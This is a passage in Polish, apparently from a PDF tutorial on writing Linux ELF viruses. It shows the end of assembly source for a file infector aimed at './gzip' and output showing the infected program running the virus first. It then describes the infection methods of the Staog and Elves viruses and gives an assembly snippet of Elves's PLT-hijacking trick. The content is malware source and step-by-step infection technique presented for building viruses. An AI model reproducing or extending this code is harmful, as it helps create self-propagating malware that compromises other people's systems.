[ Pobierz całość w formacie PDF ]
ret
sys_read: ;rejestr EBX musi zawierac uchwyt do pliku
mov eax,3
int 80h
ret
sys_write: ;rejestr EBX musi zawierac uchwyt do pliku
mov eax,4
int 80h
ret
sys_lseek: ;rejestr EBX musi zawierac uchwyt do pliku
mov eax,19
int 80h
ret
dir dd main
dw 010h
nazwa db "./gzip",0 ;plik do infekcji
data db 0h
temp dd 0h ;potrzebny do przechowana old_entry
;**************** DANE **************************************
text db 'HELLO WORLD',0h
Elf_header:
e_ident: db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h
e_type: db 00h,00h
e_machine: db 00h,00h
e_version: db 00h,00h,00h,00h
e_entry: db 00h,00h,00h,00h
e_phoff: db 00h,00h,00h,00h
e_shoff: db 00h,00h,00h,00h
e_flags: db 00h,00h,00h,00h
e_ehsize: db 00h,00h
e_phentsize: db 00h,00h
e_phnum: db 00h,00h
e_shentsize: db 00h,00h
e_shnum: db 00h,00h
e_shstrndx: db 00h,00h
jur: db 00h,00h,00h,00h
Program_header:
p_type db 00h,00h,00h,00h
p_offset db 00h,00h,00h,00h
p_vaddr db 00h,00h,00h,00h
p_paddr db 00h,00h,00h,00h
p_filez db 00h,00h,00h,00h
p_memez db 00h,00h,00h,00h
p_flags db 00h,00h,00h,00h
p_align db 00h,00h,00h,00h
Section_entry:
sh_name db 00h,00h,00h,00h
sh_type db 01h,00h,00h,00h
sh_flags db 03h,00h,00h,00h ;alloc
sh_addr db 00h,00h,00h,00h
sh_offset db 00h,00h,00h,00h
sh_size dd (virend-main)*2
sh_link db 00h,00h,00h,00h
sh_info db 00h,00h,00h,00h
sh_addralign db 01h,00h,00h,00h
sh_entsize db 00h,00h,00h,00h
92
virend:
Jeśli wykonamy plik w katalogu zawierającym gzip-a dostaniemy następujący obraz na ekranie :
HELLO WORLD
Jeśli następnie wykonamy gzip-a otrzymamy :
&gzip
HELLO WORLDgzip: compressed data not written to a terminal. Use -f to force compression.
For help, type:gzip -h
$
Jak widać kod wirusa został wykonany przed zarażonym plikiem następnie została przekazana kontrola do
niego bez żadnych problemów.
Niemniej jednak istnieją inne metody infekcji plików bez potrzeby ingerowania w nagłówki sekcji i
programu. Wirusy Staog lub też Elves używają alternatywnych metod.
Staog, dla przykładu wpisuje swój kod w miejsce wskazywane przez Entry Point robiąc kopie
nadpisywanego kodu programu infekowanego na końcu pliku. Wirus przejmuje kontrolę w momencie
wywołania procesu, otwiera plik (aby to zrobić potrzebuje znać nazwę pliku wykonywanego), pobiera kod
wirusa i tworzy czasowy plik w katalogu /tmp. Następnie tworzy nowy proces, podczas wywoływania wątku
wykonuje kod wirusa z czasowego pliku, następnie z tego wątku podmienia kod na oryginalny, tak aby
przywrócić oryginalną postać segmentu kodu programu, następnie poprzez nowy proces oddaje kontrolę
procesowi zainfekowanemu.
Elves, stworzony przez Super z grupy 29A, używa metody bardziej wyrafinowanej, rezyduje w pamięci
prywatnej procesów i unika wzrostu rozmiaru pliku podczas infekcji (używa pustych jam w pliku)
Metoda ta składa się z wprowadzenia kodu wirusa do struktury PLT. Dzięki strukturze tej jest możliwe
dynamiczne linkowanie kodu wykonywalnego z funkcjami bibliotek. Tak jak jest to opisane w Rezydencji
PerProcess, istnieją dwie metody pozwalające wywołać biblioteke, poprzez dynamiczne linkowanie (wtedy
kiedy nie znamy miejsca funkcji w pamięci), lub też bezpośrednio wskazując punkt wejścia dla funkcji w
PLT. Po infekcji wirusem Elves stosowana jest druga metoda i wszystkie wywołania wirusa tworzone są
przez dynamiczne linkowanie. Nadpisuje drugie wejście zostawiając pierwsze nietkniete (wejście to
wykonuje skok do dynamicznego linkera). Tak jak widzimy w części traktującej o rezydencji perprocess ,
wejście w PLT ma postać :
jmp *wsk_w_GOT
pushl Wejście_w_RELOC ;opisuje funkcję którą chcemy wywołać
jmp pierwsze_wejście_w_PLT ;skok do dynamicznego linkatora.
Jak widać kod nie jest zbytnio zoptymalizowany, pierwszy skok zajmuje 5 bajtów, push następne pięć oraz
następny skok następne pięć razem więc każde wejście zajmuje 15 bajtów. Wirus dzieli się na bloki 15
bajtowe, dzięki temu możliwe jest sekwencyjne wywołanie kodu w normalnej formie, lecz w przypadku, gdy
próbuje skoczyć na początek wejścia PLT, wtedy tylko znajduje skok do pierwsze_wejście_w_PLT
zakodowany na dwóch bajtach opkodami 0xeb oraz 0xee.
Przypatrzmy się przykładowi :
virus_start:
fake_plt_entry1:
pushl %eax
pushal
93
call get_delta
get_delta:
popl %edi
enter $Stat_size,$0x0
movl (Pushl+Pushal+Pushl)(%ebp),%eax
.byte 0x83
fake_plt_entry2:
.byte 0xeb,0xee
leal -0x7(%edi),%esi
addl -0x4(%eax),%eax
subl %esi,%eax
shrl %eax
movl %eax,(Pushl+Pushal)(%ebp)
.byte 0x83
fake_plt_entry3:
.byte 0xeb,0xde ;sub ebx,-22
W tym przypadku, gdy nastąpi skok do wejścia PLT, wątek uruchomień znajdzie opkod 0xeb i skoczy do
etykiety virus_start. Od tej chwili wirus uruchamia siebie sekwencyjnie wywołując instrukcje typu sub ebx,-
22, które służą ukryciu jmp do_wejścia_w_PLT. Na nieszczęście na naszej wersji Linuxa, przy testach, wirus
nie funkcjonował.
" Rezydencja wirusa
Rezydentny wirus w ring0 otrzymuje maskymalne przywileje procesora, ponad to w ring0 jest możliwe
przechwycenie wywołań do systemu przez wszystkie procesy systemu. W celu otrzymania przywilejów ring0
[ Pobierz całość w formacie PDF ]